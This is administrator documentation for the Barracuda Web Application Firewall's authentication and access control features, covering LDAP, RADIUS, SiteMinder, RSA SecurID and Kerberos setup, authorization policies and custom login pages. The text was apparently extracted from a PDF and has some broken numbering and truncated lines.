Authentication can be implemented only for HTTP or HTTPS services. The authentication process requires users to provide a valid name and
password to gain access. A validated user has qualified access to the website; that is, the data and services this user can access depend on his
authorization privileges. The following figure illustrates the authentication process:
The user accesses a login page (a GET request), a form for entering a username and password. The login form must be accessible to all users,
but need not reside on a back-end server. The Barracuda Web Application Firewall includes a default login form which can be used instead of
creating your own login page. The user submits the form (a POST request) and the Barracuda Web Application Firewall compares the submitted
information against an internally or externally located authentication database. If successfully authenticated, the requester receives a cookie and
is redirected to a success page. On subsequent requests, after verifying proper authorization (the authenticated user has the needed access
privileges for the request) , the Barracuda Web Application Firewall forwards the request to the desired location.
If a user fails authentication, the user is redirected to a failed authorization page (not illustrated in the figure). When an authenticated user
attempts to access an unauthorized page, for which he does not have permission, he is redirected to a denied authorization page.
Steps to Configure Access Control
To configure access control to your website, do the following:
1. Configure an authentication database.

2. Associate the authentication database with your website.
3. Configure the authorization policy for your website.
Step 1 - Configuring an Authentication Database
An authentication database can be internal or external. To configure an internal database, set up local users and groups on the ACCESS
CONTROL > Local User/Group page. To configure an external database, use the ACCESS CONTROL > Authentication Services page.
Configuring Internal Authentication Database
The Barracuda Web Application Firewall maintains an internal LDAP authentication database, to which the administrator is required to create
users and groups using the ACCESS CONTROL > Local Users/Groups page. One or more users can be added to each group, and one user

can belong to multiple groups.
To Create a Group
1. Go to the ACCESS CONTROL > Local Users/Groups page. In the Groups section enter a name for the group in the New Group
Name field.
2. Click Add. The new group gets listed under Available Groups.
To Create a User
1. Go to the ACCESS CONTROL > Local Users/Groups page. In the Users section, specify values for the following:
a. New User Name – Enter a name for the user. Note that this is the username used to authenticate the user.
b. Password – Enter a password for the user.
c. User Groups – Select a group name from the list of groups and click Add. If you wish to associate the user to multiple groups,
perform the same step again.
2. Click Add.
Configuring External Authentication Database
External authentication databases are configured on the ACCESS CONTROL > Authentication Services page. The Barracuda Web Application
Firewall supports the following authentication database servers:
LDAP
RADIUS
SITEMINDER
RSA SECURID
Configuring LDAP Database Server
LDAP Authentication service identifies a database server supporting the LDAP protocol, which contains a set Authentication service. It is a unique
identifier that identifies a set of users, groups, and contains mapping between the groups and the users. Configuration of this page allows the
Barracuda Web Application Firewall to communicate with an existing LDAP directory server, and authenticate a user.
To enable LDAP user authentication:
1. From the ACCESS CONTROL > Authentication Services page select the LDAP tab.
2. Enter information about your LDAP server:
a. Realm Name – Enter the name of the realm under which the Barracuda Web Application Firewall admins are stored (A realm
identifies a collection of users and groups. It specifies information, in a flat directory structure, such as where users are located
and where groups are located.).
b. Server IP – Enter the IP address of the external LDAP server to authenticate users.
c. Server Port – Enter the port number on which the server listens to LDAP connections. The standard LDAP ports are: port 389
for non-SSL connections and 636 for SSL connections.
d. Secure Connection Type – Select the type of secure connection to be used by Barracuda Web Application Firewall when
querying the LDAP database for user authentication and role retrieval.
None – Establishes a plain text connection.
SSL/TLS – With SSL you can create a SSL socket and send/ receive LDAP messages over it. Typically LDAP server
accepts SSL connections on port 636. The LDAP URI for this is defined as ldaps://
Transport Layer Security (TLS) protocol enables client/server applications to establish a secure connection over the
Internet. TLS allows client/server applications to communicate in a way that is designed to prevent tampering or
message forgery.
StartTLS – Upgrades an existing insecure plain text connection by sending an extended request to encrypt the
connection using TLS.
3. Enter information about a user in your LDAP directory that has read access to all the users in LDAP directory:
a. Bind DN – Enter Distinguished Name (DN) of the user to query the LDAP server.
b. Base DN – Enter DN at which to start the search in the LDAP directory.
c. Bind Password – Enter the password for the user querying the LDAP server.
d. Login Attribute – Enter the attributes of an LDAP object used for identifying the user. For example: uid, sAMAccountName.
e. Group Name Attribute – Enter the attributes of an LDAP object used for identifying the name of a group. Example: cn,
sAMAccountName.
f. Group Filter – Enter the filter attribute to retrieve the list of groups of the user in the LDAP directory. The maximum allowable
characters are 500.
g. Query For Group – Select Yes to query the groups in the LDAP directory for authentication. If set to No, queries are directed to
individual user names for authentication.
4. Optional. Test the entered values for connectivity, username binding, and encryption:
a. Click Test LDAP. The Barracuda Web Application Firewall checks the information you provided.
b. Check the test results displayed at the bottom of the page.
c. If the test fails, you can either correct settings as needed and repeat Step 4, OR you can use the LDAP Discovery tool as
described in the next step.
5.

5. Test the entered values and view troubleshooting details and recommendations (if any):
a. Click LDAP Discovery. The Barracuda Web Application Firewall checks the information you provided.
b. Check the test results:
Verified information is indicated with a green dot next to the field.
Information that need to be corrected is indicated with a red dot next to the field. Note: If you want to view detailed query results,
click Verbose.
If any information is incorrect or missing, edit fields as needed and then repeat Step 5.
6. After your settings have been validated, click Add to save your settings.
Configuring RADIUS Database Server
The RADIUS protocol is based on a client/server model. The Barracuda Web Application Firewall can operate as a client of a RADIUS server.
The client is responsible for passing user information to a designated RADIUS server and then acting on the response that is returned.
A RADIUS server (or daemon) can provide authentication and accounting services to one or more Barracuda Web Application Firewall devices.
RADIUS servers are responsible for receiving user connection requests, authenticating users, and then returning all configuration information
necessary for the client to deliver service to the users. A RADIUS server is generally a dedicated workstation connected to the network.
RADIUS Authentication service identifies a database server supporting the RADIUS protocol that contains a set of users, groups, and mapping
between groups and users. This container allows the user to configure the Barracuda Web Application Firewall to communicate to an existing
RADIUS directory server to authenticate a user.
To enable RADIUS user authentication:
1. From the ACCESS CONTROL > Authentication Services page select the RADIUS tab.
2. Enter information about your RADIUS server:
a. Realm Name – Enter the name of a realm. A realm is a RADIUS compliant database of authorized user and group records. The
realm can be located internally or externally on a RADIUS server.
b. Server IP – Enter the IP address of the RADIUS server to authenticate users.
c. Server Port – Enter the port number of the RADIUS server. Port 1812 is normally used for RADIUS.
d. Shared Secret – Enter the secret key which is shared between the Barracuda Web Application Firewall and RADIUS server.
Minimum value of the key is 6.
e. Timeout – Enter the time in seconds for Barracuda Web Application Firewall to wait for a response from the RADIUS server
before retransmitting the packet.
f. Retries – Enter the number of times you want the Barracuda Web Application Firewall to transmit a request packet to the
RADIUS server before giving up.
3. Click Add to add your RADIUS server configuration.
Configuring a Secondary RADIUS Server
The Barracuda Web Application Firewall supports secondary RADIUS server for authenticating users. In case the primary RADIUS server fails,
the secondary RADIUS server takes over as the primary RADIUS server for authenticating users. When configuring the secondary server, note
all parameter values including shared secret of the secondary RADIUS server must be identical to the primary RADIUS server, except the server
IP address and port number.
To configure a secondary RADIUS server
1. Click Add next to the RADIUS authentication service for which you want to add the secondary server. The Authentication Services
window appears, specify values for the following:
a. Secondary Server IP – Specifies the IP address of the secondary RADIUS server.
b. Secondary Server Port – Specifies the port number of the secondary RADIUS server.
2. Click Add to add the secondary RADIUS server configuration
Configuring SITEMINDER Database Server
SiteMinder Authentication service identifies a database server supporting the SiteMinder protocol, which contains a set of users, groups, and
mapping between groups and users. This container allows the user to configure the Barracuda Web Application Firewall to communicate to an
existing SiteMinder directory server for authenticating a user.
To enable SITEMINDER user authentication
1. From the ACCESS CONTROL > Authentication Services page select the SITEMINDER tab.
2. Enter information about your SITEMINDER server:
a. Realm Name – Enter the name of the realm under which the Barracuda Web Application Firewall admins are stored.
b. Server IP – Enter the IP address of the SiteMinder Policy Server to authenticate users.
c. Port – Enter the authentication port of the SiteMinder Policy Server. Port 44443 is the standard port used for SiteMinder.
d. Enter information about a user in your SITEMINDER server that has privilege to access all the SITEMINDER policies in
SITEMINDER server.
i. Admin – Enter the privileged username for the SiteMinder Policy Server.
ii.

d.
ii. Password – Enter the privileged user's password for the SiteMinder Policy Server.
iii. Agent Name – Specifies the agent name configured in the SiteMinder Policy Server to represent Barracuda Web
Application Firewall as SiteMinder agent.
The specified agent name must have the following parameters set to Yes under Agent Conf Objects on the
SiteMinder Policy Server:
- AcceptTPCookie
- RequireCookies
3. Host Conf Object – Enter the corresponding Host Configuration Object defined on the SiteMinder Policy Server.
4. Shared WAF IP Addresses – Enter the IP address(es) of the Barracuda Web Application Firewall that share the user sessions. Each
system specified here should set Single User Session to Yes on the ACCESS CONTROL > Authentication page to synchronize
information between each other, and keep only one active session for a user. For example, consider you have two systems with the IP
addresses 10.10.10.10 and 10.10.11.11. The system with IP address 10.10.10.10 should have 10.10.11.11 configured as Shared WAF
IP Addresses and vise versa. Also, both systems should set Single User Session to Yes to synchronize information and keep only one
active user session. Note: When configuring this parameter, all Barracuda Web Application Firewalls should have the same Realm
Name and Cookie Encryption Key.
5. Click Add to add your SITEMINDER server configuration.
Configuring RSA SECURID Database Server
RSA SecurID authentication service uses the RSA Authentication Manager database to authenticate the identity of users based on two factors:
the current code generated on the user's assigned RSA SecurID authenticator, and a secret memorized Personal Identification Number (PIN)
before granting access to protected resources.
To enable RSA SECURID user authentication:
1. From the ACCESS CONTROL > Authentication Services page select the RSA SECURID tab.
2. Enter information about your RSA RADIUS server:
a. Realm Name – Enter the name of the realm under which the Barracuda Web Application Firewall admins are stored.
b. Server IP – Enter the IP address of the RSA RADIUS server to authenticate users.
The RSA Authentication Manager server running RADIUS is termed as RSA RADIUS server in the Barracuda Web
c. Server Port – Enter the port number of the RSA RADIUS server. Port 1812 is the standard port for RADIUS.
d. Shared Secret – Enter the secret key which is shared between the Barracuda Web Application Firewall and the RSA RADIUS
server. Minimum value of the key is 6.
e. Timeout – Enter the time in seconds for Barracuda Web Application Firewall to wait for a response from the RSA RADIUS
server before retransmitting the packet.
f. Retries – Enter the number of times you want the Barracuda Web Application Firewall to transmit a request packet to the RSA
RADIUS server before giving up.
3. Click Add to add your RSA RADIUS server configuration.
Step 2 - Associating the authentication database with your website
The ACCESS CONTROL > Authentication page allows you to specify the parameters and resources to bind a configured authentication
database with your Service and configure authentication of users.
Steps to associate an authentication database server with your website:
1. From the ACCESS CONTROL > Authentication page identify the Service to which you want to bind an authentication database.
2. Click Edit next to that Service. The Edit Authentication Policy window appears.
3. In the Edit Authentication Policy section, set the Status to On and select the authentication database server from the Authentication
Service drop-down list.
When LDAP is selected as an authentication database server, the Auth Password Expired URL field is displayed. Specify the URL to
redirect the user when authentication fails due to an expired password. The Barracuda Web Application Firewall identifies the password
expiry of a user and redirects the user to the specified URL to reset the password. This feature is supported ONLY when Authentication
Database is Microsoft Active Directory-LDAP. Expired password on OpenLDAP server is not detected by the Barracuda Web

Step 3 - Configuring the authorization policy for your website
The ACCESS CONTROL > Authorization page allows you to configure custom access across your website allowing or denying users or groups
access to specific services. Access control for a service is configured per URL and Host Match. Configure access control for a URL key of a
service to restrict which users/groups can access that URL space. Customized access is configured by user and/or group.
Steps to configure an authorization policy for your website:
1. Go to the ACCESS CONTROL > Authorization page. In the Add Authorization Policy section specify values for the following:
a. Service – Select the Service to which you want to configure access control.
b. Policy Name – Enter a name for the authorization policy.
c. Status – Set to On to apply this authorization policy to the Service.
d. URL Match – Enter a URL to be matched to the URL in the request. The URL should start with a "/" and can have at most one "
* " anywhere in the URL. For example, /netbanking.html, any request matching this URL is required to authenticate before
accessing this page. A value of “/*” means that the access control rule (ACL) applies for all URLs in that domain.
e. Host Match – Enter a host name to be matched against the host in the request. This can be either a specific host match or a
wildcard host match with a single “* “anywhere in the host name. For example, *.example.com, any request matching this host is
required to authenticate before accessing this page.
f. Extended Match – Define an expression that consists of a combination of HTTP headers and/or query string parameters. This
expression is used to match against special attributes in the HTTP headers or query string parameters in the requests.
g. Extended Match Sequence – Enter a number to indicate the order in which the extended match rule must be evaluated in the
requests.
h. Login Method –Select the login method to be used for authenticating users.
2. Click Add to associate the authorization policy with the Service.
3. To enforce fine grained access control, click Edit next to the Authorization Policy. The Edit Authorization Policy window appears.
4. In the Edit Authorization Policy section, specify values for the following:
a. Allowed Users – Enter the list of users allowed to access the URL.
To access to the URL, the user must be included either in "Allowed Users" or "Allowed Groups". For example, all the
users in the group-HR get access to this URL when group-HR is listed in "Allowed Groups" parameter. Now, user-1
who does not belong to group-HR also needs access to the same URL. To achieve this, specify user-1 in "Allowed
Users". This setting enables user-1 and group-HR get access to this URL.
b. Allowed Groups – Enter the list of allowed groups to access the URL.
c. Auth Not Done URL – Enter the URL where a user who attempts to access a protected URL before being authenticated will be
redirected. If the URL is not specified, the user is redirected to the default login page generated by the Barracuda Web
Application Firewall. Use this to redirect the user to a customized page or an error page instead of the default login page.
The redirect URLs need not reside in the same service. Also, these pages must be hosted outside the Barracuda Web
Application Firewall, typically in the server of the application. The internal Barracuda Web Application Firewall pages
cannot be customized.
d. Access Denied URL – Enter the URL where an authenticated user who lacks required access privileges should be redirected.
e. Send Basic Authentication – Select Yes to convert user credentials to HTTP Basic Authentication header, included in every
request sent to the server. This is useful when Login Method is set to HTML Form, and when the server needs to know the user
credentials. Two typical cases of the server needing to know the user credentials are:
i. To implement single sign on. The server may require customization to process the Basic Authentication header, extract
the user ID and password, and perform any authentication or authorization required by the Service so a user is not
challenged to log in again.
ii. To personalize the home page, the server needs to know the user ID. Note: HTTP Basic Authentication Headers are
sent in clear text, so it is not a secure means of exchanging user credentials. The user ID and password are visible in
the data packets transmitted to the server. It is recommended that this option is used only when the traffic to the server
is encrypted.
f. Send Domain in Basic Authentication – If set to Yes, the domain information of the client is forwarded to the server along with
the user credentials in the Basic Authentication Header. This is applicable only when Send Basic Authentication is set Yes.
5. To perform advanced settings, specify values for the following in the Advanced section:
a. Authorization Agent – The Barracuda Web Application Firewall is set as a default authorization agent to authorize users
accessing this Service. This value remains the same for Services that are associated with the LDAP, RADIUS and RSA
SECURID authentication services. For SITEMINDER authentication service, select SiteMinder as an authorization agent from
the drop-down list to authorize users accessing SiteMinder protected resources.
b. Authorization Result Cache – Select an option from the drop-down list to cache the authorization result for allowed and denied
responses.
No Cache – Does not cache authorization results.

b.
Cache All – Caches all allowed and denied authorization results.

Cache Allows – Caches only the allowed authorization results.
6. Authorization Resource Depth – Enter the number of levels in the URI path of the request to be used for caching the authorization
entries.
7. Ignore Query String – Set to Yes if you wish to ignore query strings in the request while caching authorization entries.
8. Click Save.
Related Articles

How to Configure Dual Authentication for LDAP/RADIUS/RSA SecurID Authentication

Service
To configure dual authentication for LDAP/RADIUS/RSA SecurID authentication service, perform the following steps:
Step 1 - Configure the Authentication Service

Step 2 - Associate the Authentication Service with your Website
Step 3 - Configure the Authorization Policy for the Website
Step 4 - (Optional) Enable Send Basic Authentication for the Website
Step 5 - (Optional) Set Up Custom Login Page for Authentication
Step 6 - (Optional) Set Up Custom Challenge Page for Authentication
Step 1 - Configure the Authentication Service
For dual authentication, you should create two authentication services, an LDAP authentication service and a RADIUS or RSA SecurID
authentication service.
1. Go to the ACCESS CONTROL > Authentication Services page, and select the LDAP, RADIUS or RSA SECURID tab.
2. Enter information about your server and click Add.
For more information on configuring an external authentication service, see How to Configure Authentication and Access Control (AAA).
Step 2 - Associate the Authentication Service with your Website

2. Identify the service to associate with the authentication service.
3. Click Edit next to that service. The Edit Authentication Policy window appears.
4. In the Edit Authentication Policy section, do the following:
b. Select the LDAP authentication service you created in Step 1 from the Authentication Service list.
c. Set Dual Authentication Required to Yes.
d. Select the RADIUS or RSA SecurID authentication service you created in Step 1 from the Secondary Authentication Service
list.
e. Specify values for other parameters as required and click Save.
For more information, refer to the Online help.
Step 3 - Configure the Authorization Policy for the Website
1. Go to the ACCESS CONTROL > Authorization page.

2. In the Add Authorization Policy section, do the following:
a. Select the Service for which you are adding access control.
b. Specify a name for the policy.
c. Set Status to On.
d. Enter appropriate values for URL Match, Host Match, Extended Match and Extended Match Sequence.
e. Select the Login Method to be used for authenticating users and click Add.
f. To enforce fine grained access control, click Edit next to the authorization policy. Specify appropriate values for the parameters
and click Save.
Step 4 - (Optional) Enable Send Basic Authentication for the Website
If Basic Authentication is enabled on the back-end server, the user is challenged to authenticate twice (i.e., once to the Barracuda Web
Application Firewall and again to the back-end server). To log in only once, enable Send Basic Authentication on the Barracuda Web
Application Firewall. This ensures that the user credentials are sent to the back-end server in the Basic Authentication Header, allowing the
user to access the requested page.
To enable Send Basic Authentication, perform the following steps:

2. Click Edit next to the authorization policy created in Step 3. The Edit Authorization Policy window appears.
3. In the Edit Authorization Policy section:
a. Set Send Basic Authentication to Yes.
b. (Optional) Set Domain Basic Authentication to Yes if you want the domain information to be forwarded to the server along with
the user credentials in the Basic Authentication Header. The domain information is either received as part of the user name or
the host header value that is used to access the service.
Step 5 - (Optional) Set Up Custom Login Page for Authentication
To set up a custom login page for authentication, perform the following steps:

1. Create a custom login page.

2. Deploy the created custom page on your web server.
3. Configure the Barracuda Web Application Firewall to use the custom login page.
Step 1 - Creating a Custom Login Page
Create a custom login page (HTML page) with the following configuration:
Form ID = nclogin
Name = login
Action = "/nclogin.submit"
Method = POST
User name field should be named - f_username
Password field should be named - f_passwd
Passcode field should be named - f_passcode
An additional hidden parameter named f_method should be specified with value "LOGIN"
The form will look something like this:
<form id="nclogin" name="login" action="/nclogin.submit" method=POST>
<p>User Name: <input TYPE="text" name="f_username">
<p>Password: <input TYPE="password" name="f_passwd">
<p>Passcode: <input TYPE="passcode" name="f_passcode">
<p>input type=hidden name="f_method" value="LOGIN"><input TYPE="submit" Value="Login"><input TYPE="reset"

Value="Reset">
</form>
Continue with: Step 2 - Deploying the created custom page on your web server and Step 3 - Configuring the Barracuda Web Application Firewall
to use the custom login page.
Step 6 - (Optional) Set Up Custom Challenge Page for Authentication
Refer to the How to Set Up a Custom Challenge Page for Authentication article.

How to Configure Multi-domain LDAP Authentication

To set up LDAP authentication for multiple domains, create an LDAP authentication service and add other Active Directory (AD) domain details to
the LDAP authentication service. You can add a maximum of ten (10) domains to the LDAP authentication service. If the domain name is
appended with the username, the user's credentials are validated with that domain for authentication. If the user fails to append the domain
name, the user is authenticated using the default LDAP database configured for that Service.
Configure the Barracuda Web Application Firewall for Multi-domain LDAP Authentication
As an example, consider you have two (2) domains, “wafqa-1.cudaindia.local” with the domain alias “wafqa-1”, and “waf.cuda.com” with the
domain alias “waf”, and both domains have users. The web server is under the "wafqa-1.cudaindia.local" domain and the users in the
"waf.cuda.com" domain need access to the "wafqa-1.cudaindia.local" domain.
1. Go to the ACCESS CONTROL > Authentication Services page.

2. Click the LDAP tab and enter the details of the LDAP server “wafqa-1.cudaindia.local” with a Domain Alias of “wafqa-1”. Click Add.
3. In the Existing Authentication Services section, click Add next to the LDAP authentication service you created in step 2. The Add
Domain to LDAP Service window appears.
4. In the Add Domains to LDAP Service window, enter the details of the LDAP server “waf.cuda.com” with Domain Alias “waf” and click A
dd.
5. Repeat step 3 and 4 to add more domains.
To set up multi-domain authentication with an existing LDAP authentication service:

2. In the Existing Authentication Services section, identify the LDAP authentication service to which you want to enable multi-domain
authentication, and click Edit next to it.
3. Enter the value for Domain Alias and click Save.
4. Click Add next to the LDAP authentication service, enter the details of the other LDAP server with domain alias in the Add Domains to
LDAP Service window and click Add.
5. Repeat step 4 to add more domains.

Kerberos Authentication
Overview
Kerberos is the native authentication method used by Windows 2000 and later platforms. This authentication protocol provides mutual
authentication; i.e. both the user and the server verify the other's identity. Kerberos uses a trusted third party known as Key Distribution Center
(KDC). The Key Distribution Center must be a part of the Windows Domain Controller Active Directory. The Key Distribution Center provides two
services, an Authentication Service (AS) which authenticates a user and a Ticket Granting Service (TGS) that issues a session ticket to a client.
Kerberos relies on Service Principal Names (SPNs) to uniquely identify an instance of a service (which runs on a host) by a client. Each web
service should be assigned a SPN which is registered in Active Directory. The SPN is represented in the following format:
<service type>/<instance/host name>, OR <service type>/<instance/host name>:<port number>/<service name>
The port and service name are optional, port is required ONLY when the <service type> is other than the default.
Pre-requisite:
The Barracuda Web Application Firewall should have proper DNS servers configured.
The DNS Server IP address configured on BASIC > IP Configuration > DNS Configuration should be reachable by the Active directory
domain (the domain where Key Distribution Center (KDC) is installed).
Ensure the Barracuda Web Application Firewall time is synchronized with the Kerberos server time.
Configuring Kerberos Authentication Service

2. In the New Authentication Service section, click the KERBEROS tab and specify values for the following fields:
a. Realm Name – A name identifying the KERBEROS authentication service on the Barracuda Web Application Firewall.
b. KDC Realm Name – Enter the name of the realm configured on KDC.
c. KDC IP Address/Name – Enter the name or IP address of the KERBEROS server used for authenticating users.
d. KDC Port – Enter the port address of the KERBEROS server used for authenticating users. Port 88 is the standard port used for
KERBEROS.
e. Domain Alias (Optional) - Enter the domain name alias of the Kerberos Domain Server. For example, if the domain name is
"Kerberos.example.com" and the alias for it is "Kerberos", then configure "Kerberos" in this field. This is optional if you are
configuring for a single domain, but mandatory when you want to enable multi-domain authentication for users.
3. Click Add.
Associate the Service with the Kerberos Authentication Service

2. Identify the Service with which you want to associate the Kerberos authentication service.
3. Click Edit next to the Service. The Edit Authentication Policy window appears.
4. In the Edit Authentication Policy section, do the following:
b. Select the Kerberos authentication service from the Authentication Service drop-down list.
c. Specify the Service Principal Name (SPN) used for enabling Kerberos authentication for this Service in the Kerberos SPN field.
This should be the SPN registered for this Service in Active Directory. For example, consider "HTTP/test.abc.com" is
the SPN registered in Active Directory. The Kerberos SPN to specify would be "test.abc.com".
d. Kerberos Delegation – When set to Yes, the delegation flag will be set in the request from the Barracuda Web Application
Firewall to the Kerberos server.
5. Specify values of other parameters as required and click Save.
Configure the authorization policy for the Service

2. In the Add Authorization Policy section, do the following:
a. Service – Select the Service from the drop-down list.
b. Policy Name – Enter a name for the authorization policy.
c. Status – Set to On.
3. Specify values of other parameters as required and click Add. Click the Help icon for more information.
4.

4. In the Existing Authorization Policies section, click Edit next to the policy created above to configure advanced authorization settings.
Authentication of Client Traffic in Kerberos Environment
The following process authenticates client traffic:
1. The user attempts to access an application which is protected by Kerberos.

a. The Barracuda Web Application Firewall challenges the user to provide login credentials via Authentication Form.
b. The user enters username and password.
2. The Barracuda Web Application Firewall transmits the credentials to the Kerberos Server for validation.
3. The Kerberos server authenticates the user and creates a session ticket for the user.
4. The Barracuda Web Application Firewall sends the request with the session ticket to the back-end server to fetch the requested page
which it in turn serves to the client.
Load Balanced Environment
Kerberos requires a unique Service Principal Name (SPN) configured for each Service. If you have multiple servers configured for a Service, then
a single SPN should be registered in Active Directory for that Service. For example, consider you have a service “web1.domain.com” for which
two servers S1 and S2 are configured for load balancing. The SPN should be created for the domain “web1.domain.com” and registered in Active
Directory under the User (eg: Web User). The servers S1 and S2 should provide required permissions for that user.
In the above example, the SPN should be registered as HTTP/abc.com abc/Web user
Steps to Enable Kerberos Authentication for the Servers that are used to Load Balance
Step 1 - Creating a User in Active Directory
1. From the Active Directory Users and Computers window, right click Users, select New > User. The New Object – User window
appears.

2. Specify the First name and Last name of the user. Also, User login name and Password.
3. Click Next and specify values for other fields as required and click Finish.
Step 2 - Set SPN for the user
To set SPN for the user created in the earlier step, open a Command Prompt and execute the setspn command.
Step 3 - Configure the Web server application poll to run for the created user
To Run the web application poll for the user “svradm”, perform the steps below (Go to server S1):
1. In the IIS Manager, click Application Pools in the left pane. All the running applications will get displayed in the right pane.
2.

2. Identify the application to associate to the user. Right click on the application and select Advanced Settings.
3. In the Advanced Settings window, click the button next to Identity. The Application Pool Identity window appears.
4. In the Application Pool Identity window, select the Custom account radio button and click Set…. Enter the user name and password
for the user and click OK.
5. Repeat Step 3 on the server S2.

6. Configure the DNS server to resolve the SPN name to the virtual IP address of the service.

How to Configure Multi-domain Kerberos Authentication

To set up multi-domain Kerberos authentication, add domains to the Kerberos authentication service on the ACCESS CONTROL >
Authentication Services page. You can add a maximum of ten(10) domains to the Kerberos authentication service. If the domain name is
appended with a username, the user's credentials are validated with that domain for authentication. If the user fails to append the domain name,
the user is authenticated using the default Kerberos database configured for that Service.
Pre-requisites:
You must create one way forest level trust between the domains. For more information, refer to the Microsoft article Creating Forest
Trusts.
Configure a DNS server to resolve the domain names from all domains that are in the multi-domain setup. If there are two (2) DNS
servers in each of the domains, then configure DNS conditional forwarders in each DNS namespace to route the queries for names in
other namespaces. For more information, refer to the Microsoft article Configure a DNS Server to Use Forwarder.
Configure the Barracuda Web Application Firewall for Multi-domain Authentication
Perform the following steps to set up multi-domain Kerberos authentication:

2. Click the KERBEROS tab, enter the details of your Kerberos authentication server, enter the Domain Alias, and then click Add.
3. In the Existing Authentication Services section, click Add next to the Kerberos authentication service you created. The Add Domain
to Kerberos Service window appears.
4. In the Add Domains to Kerberos Service window, enter the details of the domain and click Add.
5. Repeat step 3 and 4 to add more domains.
Configuration Example for Multi-domain Kerberos Authentication
As an example, consider that you have two (2) domains: "server.nc.com" and "users.nc.com", and both domains have users. The web server is
under the "server.nc.com" domain and the users in the "users.nc.com" domain need access to "server.nc.com" domain.
1. Create one way trust between the domains "server.nc.com" and "users.nc.com".
2. Ensure that all sub-domains belonging to the domains are resolvable through the configured DNS Server.
3. In the Barracuda Web Application Firewall web interface:
a. In the ACCESS CONTROL > Authentication Services page, KERBEROS tab, use the "server.nc.com" domain details and
create a Kerberos authentication service.
b. On the same page in the Existing Authentication Service section, click Add next to the Kerberos authentication service you
created in step 3 (a).
c. In the Add Domain To Kerberos Service window, enter the details of the "users.nc.com" domain and click Add.

Setting up a custom login page for authentication is a three step process:
Create a Custom Login Page.

Deploy the Custom Login Page.
Configure the Barracuda Web Application Firewall to Use the Custom Login Page.
As an example setup, assume:
A back-end server at 192.168.128.10 needs access restricted to authenticated users. The particular web application resources which
reside in "http://192.168.128.10/secure" require users to authenticate before gaining access.
You want to authenticate users against an LDAP server.
Service-1 (10.10.10.2:80) is configured on the Barracuda Web Application Firewall to secure access to the web application, with
192.168.128.10:80 configured as the server.
Step 1 - Creating a Custom Login Page
Now create a custom login page "login.html". It must contain the following:
Form ID = nclogin
Name = login
Method = POST
The form looks something like this:
<form id="nclogin" name="login" action="/nclogin.submit" method=POST>
<p>User Name: <input TYPE="text" name="f_username">
<p>Password: <input TYPE="password" name="f_passwd" >
<p><input type=hidden name="f_method" value="LOGIN"><input TYPE="submit" Value="Login"><input

TYPE="reset" Value="Reset">
</form>
Step 2 - Deploying the Custom Login Page
You can deploy the custom login page either on your web server, or on the Barracuda Web Application Firewall.
a. Deploying the Custom Login Page on the Web Server
Deploy the "login.html" file created in Step 1 - Creating a Custom Login Page on your web server. For example:
The IP address of the web server is 192.168.128.10

And the “login.html” is available by accessing "http://192.168.128.10/login.html"
b. Deploying the Custom Login Page on the Barracuda Web Application Firewall
Create a custom login page on the Barracuda Web Application Firewall using Add Response Page under ADVANCED > Libraries. For more
information, see Deploying the Custom Login Page on the Barracuda Web Application Firewall.
Step 3 - Configuring the Barracuda Web Application Firewall to Use the Custom Login Page
Once the custom page is deployed on your web server, configure the Barracuda Web Application Firewall to use the custom login page by doing
the following steps:
1. Configure Authentication Service – Specify the authentication database server (LDAP) to use to authenticate user credentials. See How
to Configure Authentication and Access Control (AAA).
2. Configure Authentication Policy – Create an authentication policy for the Service you want to secure. To do this, click Edit next to the
relevant Service ("Service-1"in this example) on the ACCESS CONTROL > Authentication page. In the Edit Authentication Policy win
dow, configure the following:
Set Status to On.
Select LDAP from the Authentication Service drop-down list. Note that this is the authentication service created in Step 3 (1.).
Enter your domain in Session Cookie Domain, for instance: www.example.com.
Specify values for other parameters appropriately and click Add. For more information, click Help on that page.
3.

3. Configure Authorization Policy – Create an authorization policy to specify the accessible resources after a successful authentication on
the ACCESS CONTROL > Authorization page using the following steps:
On the ACCESS CONTROL > Authorization page, in the Add Authorization Policy section, specify values for the following:
Service - Select the relevant service (Service-1 in the example) from the drop-down list.
Policy Name – Enter a name for the authorization policy. Example: secure.access
URL Match – Enter the URL of the secured part of the web application. In this example the URL is: /secure/
Login Method – Select HTML Form.
Click Add.
On the ACCESS CONTROL > Authorization page, in the Existing Authorization Policies section, click Edit next to your new
authorization policy (secure.access). In the Edit Authorization Policy window, do the following:
Set Status to On.
Specify “/login.html” in Auth Not done URL.
Set Send Basic Authentication to Yes.
Set Send Domain in Basic Authentication to Yes if you want the domain information of the client to be forwarded to
the server along with the user credentials in the Basic Authentication Header. This is applicable only when Send Basic
Authentication is set to Yes.
Specify values for other parameters appropriately and click Save. For more information click Help on that page.
Once configured this way, when a client accesses "http://10.10.10.2/secure/mydoc.html" they will be presented with the configured custom login
page (login.html). The user ID and password forwarded by the web server custom login page are validated against the Authentication server
integrated with the Barracuda Web Application Firewall before the request is allowed to reach the back-end web server.
If you enable Authorization for the entire website (/*), then you must create a GLOBAL ACL rule with URL match set to the custom login
URL (for example: /login.html) and the action Allow. Create this URL ACL rule on the SECURITY POLICIES > Global ACLs page for
the associated policy to the Service.
Note that a URL ACL rule created per website will not take precedence over the authorization policy.
Related Articles
Configuring Authentication and Access Control

Deploying the Custom Login Page on the Barracuda Web Application Firewall
You can set up a custom login page on the Barracuda Web Application Firewall, and associate it with a service to authenticate users. Perform the
following steps:
1. Create a Custom Login Page.

2. Configure the Barracuda Web Application Firewall to Use the Custom Login Page.
Step 1. Create a Custom Login Page
1. Go to the ADVANCED > Libraries page.

2. In the Response Pages section, click Add Response Page.
3. Specify values for the following:
a. Response Page Name – Enter a name for the response page.
b. Type – Select Access Control Pages.
c. Status Code – Enter 200 OK.
d. Headers – Enter the response headers
e. Body - Configure the response body for the response page. This is the HTML source of the response page to display to the
client.
4. Click Save.
Example: HTML Body

<!DOCTYPE html>
<html>
<head>
<title>Authentication and Access Control</title>
<style type="text/css">
html {
height: 100%;
html body {
background: none repeat scroll 0 0 #999999;
margin: 0;
height: 100%;
html body #form-body {
margin: 0 auto;
min-height: 100%;
overflow: auto;
position: relative;
background-color: #405F8D;
background-image: -moz-linear-gradient(center top , #405F8D, #001133);
html .form-signin-logo {
height: 35%;
left: 0;
position: absolute;
right: 0;
top: 15px;

z-index: 103;
html .form-signin-outer {
bottom: 0;
left: 0;
position: absolute;
right: 0;
top: 35%;
width: 100%;
z-index: 103;
table {
border-collapse: collapse;
border-spacing: 0;
html .form-signin-wrapper {
vertical-align: top;
width: 100%;
html .form-signin {
background-color: #F7F7F7;
background-image: -moz-linear-gradient(center top , #F8F8F8, #E7E7E7);
border-radius: 10px 10px 10px 10px;
